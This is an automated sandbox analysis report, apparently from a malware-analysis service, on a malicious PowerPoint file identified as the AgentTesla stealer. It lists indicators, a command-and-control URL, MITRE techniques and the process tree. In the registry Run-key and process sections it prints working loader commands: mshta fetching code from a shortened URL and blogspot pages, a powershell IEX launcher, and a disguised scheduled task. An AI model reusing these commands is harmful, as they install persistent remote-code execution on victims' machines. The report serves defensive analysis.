agenttesla | 414dca4ec7dff32fb1d809f021c4865dc1f6249318ffd707b3d5ef72a4cdd7f2

General

Target

Po 463922900001.ppt
Size

77KB
MD5

07d27e32b0ab74301b426e77502bcc13
SHA1

5f5631b653a61e085650035166d2ab84ab429331
SHA256

414dca4ec7dff32fb1d809f021c4865dc1f6249318ffd707b3d5ef72a4cdd7f2
SHA512

0a331ddd511ae5a13a9307f48617fc317b283b4378e868e88724abd78b893ea4f5cca6fbf132b22ee61fee63d378d95d5613f1db3b15e14e491d1133513b1026

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/808/inc/39b29f468532e0.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	1272	1676	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	1660	powershell.exe

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1672-83-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral1/memory/1672-84-0x0000000000437DCE-mapping.dmp	family_agenttesla
behavioral1/memory/1672-85-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 16 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
7	1272	mshta.exe
9	1272	mshta.exe
11	1272	mshta.exe
13	1272	mshta.exe
15	1272	mshta.exe
16	1272	mshta.exe
18	1272	mshta.exe
20	1272	mshta.exe
21	1272	mshta.exe
23	1272	mshta.exe
26	1272	mshta.exe
27	1272	mshta.exe
30	1600	powershell.exe
32	1600	powershell.exe
34	1600	powershell.exe
36	1600	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%1230948@newblogset144.blogspot.com/p/8.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%1230948@firstblognew123.blogspot.com/p/8.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/8.html\""	mshta.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1600 set thread context of 1672 1600 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1700 schtasks.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1388 taskkill.exe
1360 taskkill.exe

description	pid	process	target process
PID 1600 set thread context of 1672	1600	powershell.exe	aspnet_compiler.exe

pid	process
1700	schtasks.exe

pid	process
1388	taskkill.exe
1360	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A70-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493459-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348E-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\ = "Pane"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F2-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493471-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EF-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347F-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}\ = "Hyperlinks"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B}\ = "View"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ = "ShapeNodes"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493455-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493468-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493467-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1676 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

1600 powershell.exe
1600 powershell.exe
1672 aspnet_compiler.exe
1672 aspnet_compiler.exe

pid	process
1676	POWERPNT.EXE

pid	process
1600	powershell.exe
1600	powershell.exe
1672	aspnet_compiler.exe
1672	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

powershell.exetaskkill.exetaskkill.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1388	taskkill.exe
Token: SeDebugPrivilege	1360	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1600	powershell.exe
Token: SeSecurityPrivilege	1600	powershell.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe
Token: SeLoadDriverPrivilege	1600	powershell.exe
Token: SeSystemProfilePrivilege	1600	powershell.exe
Token: SeSystemtimePrivilege	1600	powershell.exe
Token: SeProfSingleProcessPrivilege	1600	powershell.exe
Token: SeIncBasePriorityPrivilege	1600	powershell.exe
Token: SeCreatePagefilePrivilege	1600	powershell.exe
Token: SeBackupPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeSystemEnvironmentPrivilege	1600	powershell.exe
Token: SeRemoteShutdownPrivilege	1600	powershell.exe
Token: SeUndockPrivilege	1600	powershell.exe
Token: SeManageVolumePrivilege	1600	powershell.exe
Token: 33	1600	powershell.exe
Token: 34	1600	powershell.exe
Token: 35	1600	powershell.exe
Token: SeIncreaseQuotaPrivilege	1600	powershell.exe
Token: SeSecurityPrivilege	1600	powershell.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe
Token: SeLoadDriverPrivilege	1600	powershell.exe
Token: SeSystemProfilePrivilege	1600	powershell.exe
Token: SeSystemtimePrivilege	1600	powershell.exe
Token: SeProfSingleProcessPrivilege	1600	powershell.exe
Token: SeIncBasePriorityPrivilege	1600	powershell.exe
Token: SeCreatePagefilePrivilege	1600	powershell.exe
Token: SeBackupPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeSystemEnvironmentPrivilege	1600	powershell.exe
Token: SeRemoteShutdownPrivilege	1600	powershell.exe
Token: SeUndockPrivilege	1600	powershell.exe
Token: SeManageVolumePrivilege	1600	powershell.exe
Token: 33	1600	powershell.exe
Token: 34	1600	powershell.exe
Token: 35	1600	powershell.exe
Token: SeDebugPrivilege	1672	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

1672 aspnet_compiler.exe

pid	process
1672	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 1676 wrote to memory of 1980	1676	POWERPNT.EXE	splwow64.exe
PID 1676 wrote to memory of 1980	1676	POWERPNT.EXE	splwow64.exe
PID 1676 wrote to memory of 1980	1676	POWERPNT.EXE	splwow64.exe
PID 1676 wrote to memory of 1980	1676	POWERPNT.EXE	splwow64.exe
PID 1676 wrote to memory of 1272	1676	POWERPNT.EXE	mshta.exe
PID 1676 wrote to memory of 1272	1676	POWERPNT.EXE	mshta.exe
PID 1676 wrote to memory of 1272	1676	POWERPNT.EXE	mshta.exe
PID 1676 wrote to memory of 1272	1676	POWERPNT.EXE	mshta.exe
PID 1272 wrote to memory of 1700	1272	mshta.exe	schtasks.exe
PID 1272 wrote to memory of 1700	1272	mshta.exe	schtasks.exe
PID 1272 wrote to memory of 1700	1272	mshta.exe	schtasks.exe
PID 1272 wrote to memory of 1700	1272	mshta.exe	schtasks.exe
PID 1272 wrote to memory of 1360	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1360	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1360	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1360	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1388	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1388	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1388	1272	mshta.exe	taskkill.exe
PID 1272 wrote to memory of 1388	1272	mshta.exe	taskkill.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe
PID 1600 wrote to memory of 1672	1600	powershell.exe	aspnet_compiler.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Po 463922900001.ppt"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1980

C:\Windows\SysWOW64\mshta.exe
mshta http://www.j.mp/asdqwpdiiuhjdasnd
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1272

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@getyournewblog.blogspot.com/p/8.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:1700

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1360

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
9f356c104af437ee32d0a6d901f8828e

SHA1
a619d24e2fda51adbc7a3f2709b870c7a1d5a20b

SHA256
5770ac3336afe10b9d51656027303351a5a830e96f53c666465df773c7eacf00

SHA512
84f115c4432b66329cd5512564170f2621a7d8b59c1dff721bee39faba436886a510641951bb5dfa6da49a5d13ab92b7eaad819959d8c3a4ba5413c0c7ba9dbb

Download Submit
memory/1272-65-0x0000000000000000-mapping.dmp

Download
memory/1360-71-0x0000000000000000-mapping.dmp

Download
memory/1388-72-0x0000000000000000-mapping.dmp

Download
memory/1600-73-0x0000000002170000-0x0000000002171000-memory.dmp

Filesize
4KB

Download
memory/1600-81-0x0000000002880000-0x0000000002882000-memory.dmp

Filesize
8KB

Download
memory/1600-82-0x000000001AD10000-0x000000001AD22000-memory.dmp

Filesize
72KB

Download
memory/1600-80-0x0000000002870000-0x0000000002874000-memory.dmp

Filesize
16KB

Download
memory/1600-69-0x0000000002020000-0x0000000002021000-memory.dmp

Filesize
4KB

Download
memory/1600-70-0x000000001ADB0000-0x000000001ADB1000-memory.dmp

Filesize
4KB

Download
memory/1600-78-0x000000001B660000-0x000000001B661000-memory.dmp

Filesize
4KB

Download
memory/1600-77-0x0000000002920000-0x0000000002921000-memory.dmp

Filesize
4KB

Download
memory/1600-76-0x0000000002060000-0x0000000002061000-memory.dmp

Filesize
4KB

Download
memory/1600-74-0x000000001AD30000-0x000000001AD32000-memory.dmp

Filesize
8KB

Download
memory/1600-75-0x000000001AD34000-0x000000001AD36000-memory.dmp

Filesize
8KB

Download
memory/1672-83-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/1672-84-0x0000000000437DCE-mapping.dmp

Download
memory/1672-85-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/1672-87-0x0000000004B00000-0x0000000004B01000-memory.dmp

Filesize
4KB

Download
memory/1672-88-0x0000000004B01000-0x0000000004B02000-memory.dmp

Filesize
4KB

Download
memory/1676-60-0x00000000745B1000-0x00000000745B5000-memory.dmp

Filesize
16KB

Download
memory/1676-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1676-61-0x00000000716F1000-0x00000000716F3000-memory.dmp

Filesize
8KB

Download
memory/1676-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1700-67-0x0000000000000000-mapping.dmp

Download
memory/1980-63-0x0000000000000000-mapping.dmp

Download
memory/1980-64-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads